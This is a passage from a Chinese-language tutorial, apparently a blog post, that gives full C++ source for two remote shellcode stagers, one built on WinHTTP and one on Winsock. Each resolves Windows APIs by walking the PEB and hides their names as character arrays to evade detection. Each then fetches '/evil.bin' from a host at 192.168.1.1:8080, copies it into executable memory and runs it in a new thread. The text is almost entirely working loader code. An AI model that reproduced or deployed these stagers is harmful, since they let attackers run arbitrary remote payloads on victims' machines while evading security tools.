HANDLE hThread = pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExecutableMemory, NULL, 0, NULL);
if (hThread) {
// 等待线程执行完成
pWaitForSingleObject(hThread, INFINITE);
// 关闭线程句柄
pCloseHandle(hThread);
}

// 释放可执行内存
pVirtualAlloc(pExecutableMemory, 0, MEM_RELEASE, 0);

return 0;
}

img

5.2 cpp 实现远程 shellcode(winhttp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
// winhttp4stager.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <Windows.h>
#include <winternl.h>
#include <Winhttp.h>
#include <iostream>
#include <stdio.h>

// 自定义宽字符转小写(简化版 Unicode 支持)
wchar_t my_towlower(wchar_t c) {
// 基础拉丁字母(A-Z)直接转换
if (c >= L'A' && c <= L'Z') {
return c + 32;
}
return c;
}

// 不区分大小写的宽字符串比较函数(不修改原始字符串)
bool MyCompareStringW(const wchar_t* str1, const wchar_t* str2) {
// 空指针检查
if (str1 == NULL || str2 == NULL) return false;

size_t i = 0;
// 动态转换并比较字符,无需修改原始字符串
while (str1[i] != L'\0' && str2[i] != L'\0') {
wchar_t c1 = my_towlower(str1[i]);
wchar_t c2 = my_towlower(str2[i]);

if (c1 != c2) return false;
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == L'\0' && str2[i] == L'\0');
}

// ASCII字符串比较函数
bool MyCompareStringA(CHAR str1[], CHAR str2[]) {
int i = 0;
while (str1[i] && str2[i]) {
if (str1[i] != str2[i]) {
return false;
}
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == '\0' && str2[i] == '\0');
}

// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
wchar_t* fileName = NULL;
wchar_t* temp = (wchar_t*)fullDllName;

// 遍历并找到最后一个 '\\',获取文件名部分
while (*temp) {
if (*temp == L'\\') {
fileName = temp + 1; // 更新文件名的位置
}
temp++;
}

// 如果没有找到 '\\',则认为整个字符串就是文件名
if (!fileName) {
fileName = (wchar_t*)fullDllName;
}

return fileName;
}

FARPROC GetApiAddressByName(wchar_t* TargertDllName, char* ApiName) {
// 从获取 PEB 地址
PPEB pPEB = (PPEB)__readgsqword(0x60);

// 获取 PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;

// 遍历模块列表
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while (pCurrentEntry && pCurrentEntry != pListHead) {
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

if (pEntry && pEntry->FullDllName.Buffer) {
wchar_t* fullDllPath = pEntry->FullDllName.Buffer;

// 提取 DLL 名称
wchar_t* CurrentDllName = ExtractDllName(fullDllPath);

// 比较 DLL 名称(不区分大小写)
if (MyCompareStringW(CurrentDllName, TargertDllName)) {
// 找到目标 DLL
HMODULE hModule = (HMODULE)pEntry->DllBase;

// 分析 PE 文件找到导出表
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 获取导出表的各个信息
DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

// 遍历导出表,查找目标函数
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

// 找到函数名,获取其地址
if (MyCompareStringA(functionName, ApiName)) {
return (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
}
}

// 如果遍历完导出表未找到函数,返回 NULL
return NULL;
}
}

pCurrentEntry = pCurrentEntry->Flink;
}

return NULL; // 未找到模块
}

__declspec(code_seg(".text$A")) int main()
{
// 1. 函数声明
typedef FARPROC(WINAPI* MyGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef HMODULE(WINAPI* MyLoadLibraryA)(LPCSTR lpLibFileName);
typedef HINTERNET(WINAPI* MyWinHttpOpen)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags);
typedef HINTERNET(WINAPI* MyWinHttpConnect)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved);
typedef HINTERNET(WINAPI* MyWinHttpOpenRequest)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR* ppwszAcceptTypes, DWORD dwFlags);
typedef BOOL(WINAPI* MyWinHttpSendRequest)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext);
typedef BOOL(WINAPI* MyWinHttpReceiveResponse)(HINTERNET hRequest, LPVOID lpReserved);
typedef BOOL(WINAPI* MyWinHttpReadData)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
typedef BOOL(WINAPI* MyWinHttpCloseHandle)(HINTERNET hInternet);
typedef LPVOID(WINAPI* MyVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef void (WINAPI* MySleep)(DWORD dwMilliseconds);
typedef VOID(WINAPI* MyRtlMoveMemory)(PVOID Destination, PVOID Source, SIZE_T Length);
typedef HANDLE(WINAPI* MyCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef DWORD(WINAPI* MyWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
typedef BOOL(WINAPI* MyCloseHandle)(HANDLE hObject);

// 2. 需要用到的API和DLL的名称
CHAR winHttpOpen[] = { 'W','i','n','H','t','t','p','O','p','e','n','\0' };
CHAR winHttpConnect[] = { 'W','i','n','H','t','t','p','C','o','n','n','e','c','t','\0' };
CHAR winHttpOpenRequest[] = { 'W','i','n','H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','\0' };
CHAR winHttpSendRequest[] = { 'W','i','n','H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','\0' };
CHAR winHttpReceiveResponse[] = { 'W','i','n','H','t','t','p','R','e','c','e','i','v','e','R','e','s','p','o','n','s','e','\0' };
CHAR winHttpReadData[] = { 'W','i','n','H','t','t','p','R','e','a','d','D','a','t','a','\0' };
CHAR winHttpCloseHandle[] = { 'W','i','n','H','t','t','p','C','l','o','s','e','H','a','n','d','l','e','\0' };
CHAR virtualAlloc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c','\0' };
CHAR sleep[] = { 'S','l','e','e','p','\0' };
CHAR rtlMoveMemory[] = { 'R','t','l','M','o','v','e','M','e','m','o','r','y','\0' };
CHAR createThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d','\0' };
CHAR waitForSingleObject[] = { 'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0' };
CHAR closeHandle[] = { 'C','l','o','s','e','H','a','n','d','l','e','\0' };

CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
WCHAR kernel32[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
CHAR winhttp[] = { 'w','i','n','h','t','t','p','.','d','l','l','\0' };
WCHAR UA[] = { 'M','y','D','o','w','n','l','o','a','d','e','r','/','1','.','0','\0' };
WCHAR IP[] = { '1','9','2','.','1','6','8','.','1','.','1','\0' };
WCHAR PATH[] = { '/','e','v','i','l','.','b','i','n','\0' };
WCHAR Method[] = { 'G','E','T','\0' };
WCHAR Version[] = { 'H','T','T','P','/','1','.','1','\0' };

// 3.动态获取API函数
MyGetProcAddress pGetProcAddress = (MyGetProcAddress)GetApiAddressByName(kernel32, getProcAddress);
MyLoadLibraryA pLoadLibraryA = (MyLoadLibraryA)GetApiAddressByName(kernel32, loadLibraryA);
MyVirtualAlloc pVirtualAlloc = (MyVirtualAlloc)GetApiAddressByName(kernel32, virtualAlloc);
MySleep pSleep = (MySleep)GetApiAddressByName(kernel32, sleep);
MyRtlMoveMemory pRtlMoveMemory = (MyRtlMoveMemory)GetApiAddressByName(kernel32, rtlMoveMemory);
MyCreateThread pCreateThread = (MyCreateThread)GetApiAddressByName(kernel32, createThread);
MyWaitForSingleObject pWaitForSingleObject = (MyWaitForSingleObject)GetApiAddressByName(kernel32, waitForSingleObject);
MyCloseHandle pCloseHandle = (MyCloseHandle)GetApiAddressByName(kernel32, closeHandle);

MyWinHttpOpen pWinHttpOpen = (MyWinHttpOpen)pGetProcAddress(pLoadLibraryA(winhttp), winHttpOpen);
MyWinHttpConnect pWinHttpConnect = (MyWinHttpConnect)pGetProcAddress(pLoadLibraryA(winhttp), winHttpConnect);
MyWinHttpOpenRequest pWinHttpOpenRequest = (MyWinHttpOpenRequest)pGetProcAddress(pLoadLibraryA(winhttp), winHttpOpenRequest);
MyWinHttpSendRequest pWinHttpSendRequest = (MyWinHttpSendRequest)pGetProcAddress(pLoadLibraryA(winhttp), winHttpSendRequest);
MyWinHttpReceiveResponse pWinHttpReceiveResponse = (MyWinHttpReceiveResponse)pGetProcAddress(pLoadLibraryA(winhttp), winHttpReceiveResponse);
MyWinHttpReadData pWinHttpReadData = (MyWinHttpReadData)pGetProcAddress(pLoadLibraryA(winhttp), winHttpReadData);
MyWinHttpCloseHandle pWinHttpCloseHandle = (MyWinHttpCloseHandle)pGetProcAddress(pLoadLibraryA(winhttp), winHttpCloseHandle);

// 初始化WinHTTP会话
HINTERNET hSession = pWinHttpOpen(UA, 1, NULL, NULL, 0); // 1 = WINHTTP_ACCESS_TYPE_NO_PROXY

// 连接到HTTP服务器
HINTERNET hConnect = pWinHttpConnect(hSession, IP, 8080, 0);

// 创建HTTP请求
HINTERNET hRequest = pWinHttpOpenRequest(hConnect, Method, PATH, Version, NULL, NULL, 0);

// 发送HTTP请求
BOOL bResult = pWinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);

// 接收响应
bResult = pWinHttpReceiveResponse(hRequest, NULL);

// 先分配一个较大的缓冲区来接收数据(支持更大的shellcode)
const DWORD MAX_SHELLCODE_SIZE = 1024 * 1024; // 1MB 缓冲区
LPVOID lpbuffer = pVirtualAlloc(NULL, MAX_SHELLCODE_SIZE, MEM_COMMIT, PAGE_READWRITE);

// 读取数据
DWORD dwTotalRead = 0;
DWORD dwBytesRead = 0;

// 循环读取数据,直到读取完所有数据
do {
pWinHttpReadData(hRequest, (LPBYTE)lpbuffer + dwTotalRead, MAX_SHELLCODE_SIZE - dwTotalRead, &dwBytesRead);
dwTotalRead += dwBytesRead;
} while (dwBytesRead > 0 && dwTotalRead < MAX_SHELLCODE_SIZE);

// 清理网络资源
if (hRequest) pWinHttpCloseHandle(hRequest);
if (hConnect) pWinHttpCloseHandle(hConnect);
if (hSession) pWinHttpCloseHandle(hSession);

// 申请一块可执行的内存区域,大小为实际读取的数据大小
LPVOID pExecutableMemory = pVirtualAlloc(NULL, dwTotalRead, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将下载的数据复制到可执行内存区域
pRtlMoveMemory(pExecutableMemory, lpbuffer, dwTotalRead);

// 释放原始缓冲区
pVirtualAlloc(lpbuffer, 0, MEM_RELEASE, 0);


// 创建一个线程执行内存中的shellcode
HANDLE hThread = pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExecutableMemory, NULL, 0, NULL);
if (hThread) {
// 等待线程执行完成
pWaitForSingleObject(hThread, INFINITE);
// 关闭线程句柄
pCloseHandle(hThread);
}

// 释放可执行内存
pVirtualAlloc(pExecutableMemory, 0, MEM_RELEASE, 0);

return 0;
}

img

5.3 cpp 实现远程 shellcode(winsock)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
// wsocks4stager.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <stdio.h>
#include <cstring>

#pragma comment(lib, "ws2_32.lib")

// 将宽字符串转换为多字节字符串
char* WideToMultiByte(const wchar_t* wideStr) {
if (!wideStr) return NULL;

int len = WideCharToMultiByte(CP_UTF8, 0, wideStr, -1, NULL, 0, NULL, NULL);
if (len <= 0) return NULL;

char* multiByteStr = (char*)malloc(len);
if (!multiByteStr) return NULL;

WideCharToMultiByte(CP_UTF8, 0, wideStr, -1, multiByteStr, len, NULL, NULL);
return multiByteStr;
}

// 构建HTTP GET请求
char* BuildHttpRequest(const char* host, int port, const char* path) {
char* request = (char*)malloc(1024);
if (!request) return NULL;

sprintf_s(request, 1024,
"GET %s HTTP/1.1\r\n"
"Host: %s:%d\r\n"
"User-Agent: MyDownloader/1.0\r\n"
"Connection: close\r\n"
"\r\n",
path, host, port);

return request;
}

// 解析HTTP响应,提取Content-Length
int ParseContentLength(const char* response) {
const char* contentLengthHeader = "Content-Length: ";
const char* pos = strstr(response, contentLengthHeader);

if (pos) {
pos += strlen(contentLengthHeader);
return atoi(pos);
}

return -1;
}

// 查找HTTP响应体开始位置
const char* FindResponseBody(const char* response) {
const char* bodyStart = strstr(response, "\r\n\r\n");
if (bodyStart) {
return bodyStart + 4; // 跳过 "\r\n\r\n"
}
return NULL;
}

// 自定义宽字符转小写(简化版 Unicode 支持)
wchar_t my_towlower(wchar_t c) {
// 基础拉丁字母(A-Z)直接转换
if (c >= L'A' && c <= L'Z') {
return c + 32;
}
return c;
}

// 不区分大小写的宽字符串比较函数(不修改原始字符串)
bool MyCompareStringW(const wchar_t* str1, const wchar_t* str2) {
// 空指针检查
if (str1 == NULL || str2 == NULL) return false;

size_t i = 0;
// 动态转换并比较字符,无需修改原始字符串
while (str1[i] != L'\0' && str2[i] != L'\0') {
wchar_t c1 = my_towlower(str1[i]);
wchar_t c2 = my_towlower(str2[i]);

if (c1 != c2) return false;
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == L'\0' && str2[i] == L'\0');
}

// ASCII字符串比较函数
bool MyCompareStringA(CHAR str1[], CHAR str2[]) {
int i = 0;
while (str1[i] && str2[i]) {
if (str1[i] != str2[i]) {
return false;
}
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == '\0' && str2[i] == '\0');
}

// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
wchar_t* fileName = NULL;
wchar_t* temp = (wchar_t*)fullDllName;

// 遍历并找到最后一个 '\\',获取文件名部分
while (*temp) {
if (*temp == L'\\') {
fileName = temp + 1; // 更新文件名的位置
}
temp++;
}

// 如果没有找到 '\\',则认为整个字符串就是文件名
if (!fileName) {
fileName = (wchar_t*)fullDllName;
}

return fileName;
}

FARPROC GetApiAddressByName(wchar_t* TargertDllName, char* ApiName) {
// 从获取 PEB 地址
PPEB pPEB = (PPEB)__readgsqword(0x60);

// 获取 PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;

// 遍历模块列表
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while (pCurrentEntry && pCurrentEntry != pListHead) {
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

if (pEntry && pEntry->FullDllName.Buffer) {
wchar_t* fullDllPath = pEntry->FullDllName.Buffer;

// 提取 DLL 名称
wchar_t* CurrentDllName = ExtractDllName(fullDllPath);

// 比较 DLL 名称(不区分大小写)
if (MyCompareStringW(CurrentDllName, TargertDllName)) {
// 找到目标 DLL
HMODULE hModule = (HMODULE)pEntry->DllBase;

// 分析 PE 文件找到导出表
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 获取导出表的各个信息
DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

// 遍历导出表,查找目标函数
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

// 找到函数名,获取其地址
if (MyCompareStringA(functionName, ApiName)) {
return (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
}
}

// 如果遍历完导出表未找到函数,返回 NULL
return NULL;
}
}

pCurrentEntry = pCurrentEntry->Flink;
}

return NULL; // 未找到模块
}

__declspec(code_seg(".text$A")) int main()
{
// 1. 函数声明
typedef FARPROC(WINAPI* MyGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef HMODULE(WINAPI* MyLoadLibraryA)(LPCSTR lpLibFileName);
typedef int (WINAPI* MyWSAStartup)(WORD wVersionRequested, LPWSADATA lpWSAData);
typedef SOCKET(WINAPI* MySocket)(int af, int type, int protocol);
typedef int (WINAPI* MyConnect)(SOCKET s, const struct sockaddr* name, int namelen);
typedef int (WINAPI* MySend)(SOCKET s, const char* buf, int len, int flags);
typedef int (WINAPI* MyRecv)(SOCKET s, char* buf, int len, int flags);
typedef int (WINAPI* MyClosesocket)(SOCKET s);
typedef int (WINAPI* MyWSACleanup)(void);
typedef struct hostent* (WINAPI* MyGethostbyname)(const char* name);
typedef LPVOID(WINAPI* MyVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef void (WINAPI* MySleep)(DWORD dwMilliseconds);
typedef VOID(WINAPI* MyRtlMoveMemory)(PVOID Destination, PVOID Source, SIZE_T Length);
typedef HANDLE(WINAPI* MyCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef DWORD(WINAPI* MyWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
typedef BOOL(WINAPI* MyCloseHandle)(HANDLE hObject);

// 2. 需要用到的API和DLL的名称
CHAR wsaStartup[] = { 'W','S','A','S','t','a','r','t','u','p','\0' };
CHAR socket[] = { 's','o','c','k','e','t','\0' };
CHAR connect[] = { 'c','o','n','n','e','c','t','\0' };
CHAR send[] = { 's','e','n','d','\0' };
CHAR recv[] = { 'r','e','c','v','\0' };
CHAR closesocket[] = { 'c','l','o','s','e','s','o','c','k','e','t','\0' };
CHAR wsaCleanup[] = { 'W','S','A','C','l','e','a','n','u','p','\0' };
CHAR gethostbyname[] = { 'g','e','t','h','o','s','t','b','y','n','a','m','e','\0' };
CHAR virtualAlloc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c','\0' };
CHAR sleep[] = { 'S','l','e','e','p','\0' };
CHAR rtlMoveMemory[] = { 'R','t','l','M','o','v','e','M','e','m','o','r','y','\0' };
CHAR createThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d','\0' };
CHAR waitForSingleObject[] = { 'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0' };
CHAR closeHandle[] = { 'C','l','o','s','e','H','a','n','d','l','e','\0' };

CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
WCHAR kernel32[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
CHAR ws2_32[] = { 'w','s','2','_','3','2','.','d','l','l','\0' };
WCHAR UA[] = { 'M','y','D','o','w','n','l','o','a','d','e','r','/','1','.','0','\0' };
WCHAR IP[] = { '1','9','2','.','1','6','8','.','1','.','1','\0' };
WCHAR PATH[] = { '/','e','v','i','l','.','b','i','n','\0' };
WCHAR Method[] = { 'G','E','T','\0' };
WCHAR Version[] = { 'H','T','T','P','/','1','.','1','\0' };

// 3.动态获取API函数
MyGetProcAddress pGetProcAddress = (MyGetProcAddress)GetApiAddressByName(kernel32, getProcAddress);
MyLoadLibraryA pLoadLibraryA = (MyLoadLibraryA)GetApiAddressByName(kernel32, loadLibraryA);
MyVirtualAlloc pVirtualAlloc = (MyVirtualAlloc)GetApiAddressByName(kernel32, virtualAlloc);
MySleep pSleep = (MySleep)GetApiAddressByName(kernel32, sleep);
MyRtlMoveMemory pRtlMoveMemory = (MyRtlMoveMemory)GetApiAddressByName(kernel32, rtlMoveMemory);
MyCreateThread pCreateThread = (MyCreateThread)GetApiAddressByName(kernel32, createThread);
MyWaitForSingleObject pWaitForSingleObject = (MyWaitForSingleObject)GetApiAddressByName(kernel32, waitForSingleObject);
MyCloseHandle pCloseHandle = (MyCloseHandle)GetApiAddressByName(kernel32, closeHandle);

MyWSAStartup pWSAStartup = (MyWSAStartup)pGetProcAddress(pLoadLibraryA(ws2_32), wsaStartup);
MySocket pSocket = (MySocket)pGetProcAddress(pLoadLibraryA(ws2_32), socket);
MyConnect pConnect = (MyConnect)pGetProcAddress(pLoadLibraryA(ws2_32), connect);
MySend pSend = (MySend)pGetProcAddress(pLoadLibraryA(ws2_32), send);
MyRecv pRecv = (MyRecv)pGetProcAddress(pLoadLibraryA(ws2_32), recv);
MyClosesocket pClosesocket = (MyClosesocket)pGetProcAddress(pLoadLibraryA(ws2_32), closesocket);
MyWSACleanup pWSACleanup = (MyWSACleanup)pGetProcAddress(pLoadLibraryA(ws2_32), wsaCleanup);
MyGethostbyname pGethostbyname = (MyGethostbyname)pGetProcAddress(pLoadLibraryA(ws2_32), gethostbyname);

// 初始化Winsock
WSADATA wsaData;
if (pWSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return -1;
}

// 转换IP地址为多字节字符串
char* ipStr = WideToMultiByte(IP);
char* pathStr = WideToMultiByte(PATH);
if (!ipStr || !pathStr) {
if (ipStr) free(ipStr);
if (pathStr) free(pathStr);
pWSACleanup();
return -1;
}

// 创建socket
SOCKET sock = pSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
free(ipStr);
free(pathStr);
pWSACleanup();
return -1;
}

// 设置服务器地址
struct sockaddr_in serverAddr;
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(8080);
serverAddr.sin_addr.s_addr = inet_addr(ipStr);

// 连接到服务器
if (pConnect(sock, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
pClosesocket(sock);
free(ipStr);
free(pathStr);
pWSACleanup();
return -1;
}

// 构建HTTP请求
char* httpRequest = BuildHttpRequest(ipStr, 8080, pathStr);
if (!httpRequest) {
pClosesocket(sock);
free(ipStr);
free(pathStr);
pWSACleanup();
return -1;
}

// 发送HTTP请求
int requestLen = strlen(httpRequest);
if (pSend(sock, httpRequest, requestLen, 0) == SOCKET_ERROR) {
free(httpRequest);
pClosesocket(sock);
free(ipStr);
free(pathStr);
pWSACleanup();
return -1;
}

// 先分配一个较大的缓冲区来接收数据(支持更大的shellcode)
const DWORD MAX_SHELLCODE_SIZE = 1024 * 1024; // 1MB 缓冲区
LPVOID lpbuffer = pVirtualAlloc(NULL, MAX_SHELLCODE_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (!lpbuffer) {
free(httpRequest);
pClosesocket(sock);
free(ipStr);
free(pathStr);
pWSACleanup();
return -1;
}

// 接收HTTP响应
int totalReceived = 0;
int bytesReceived = 0;
char* responseBuffer = (char*)lpbuffer;

// 接收响应头和数据
do {
bytesReceived = pRecv(sock, responseBuffer + totalReceived, MAX_SHELLCODE_SIZE - totalReceived, 0);
if (bytesReceived > 0) {
totalReceived += bytesReceived;
}
} while (bytesReceived > 0 && totalReceived < MAX_SHELLCODE_SIZE);

// 解析HTTP响应,提取shellcode数据
int shellcodeSize = 0;
const char* responseBody = FindResponseBody(responseBuffer);

if (responseBody) {
// 获取Content-Length
int contentLength = ParseContentLength(responseBuffer);
if (contentLength > 0) {
shellcodeSize = contentLength;
}
else {
// 如果没有Content-Length,使用剩余数据作为shellcode
shellcodeSize = totalReceived - (responseBody - responseBuffer);
}
}
else {
// 如果没有找到响应体分隔符,使用所有接收到的数据
shellcodeSize = totalReceived;
}

// 清理网络资源
free(httpRequest);
pClosesocket(sock);
free(ipStr);
free(pathStr);
pWSACleanup();

// 申请一块可执行的内存区域,大小为实际读取的shellcode大小
LPVOID pExecutableMemory = pVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pExecutableMemory) {
pVirtualAlloc(lpbuffer, 0, MEM_RELEASE, 0);
return -1;
}

// 将shellcode数据复制到可执行内存区域
if (responseBody) {
pRtlMoveMemory(pExecutableMemory, (PVOID)responseBody, shellcodeSize);
}
else {
pRtlMoveMemory(pExecutableMemory, lpbuffer, shellcodeSize);
}

// 释放原始缓冲区
pVirtualAlloc(lpbuffer, 0, MEM_RELEASE, 0);

// 创建一个线程执行内存中的shellcode
HANDLE hThread = pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExecutableMemory, NULL, 0, NULL);
if (hThread) {
// 等待线程执行完成
pWaitForSingleObject(hThread, INFINITE);
// 关闭线程句柄
pCloseHandle(hThread);
}

// 释放可执行内存
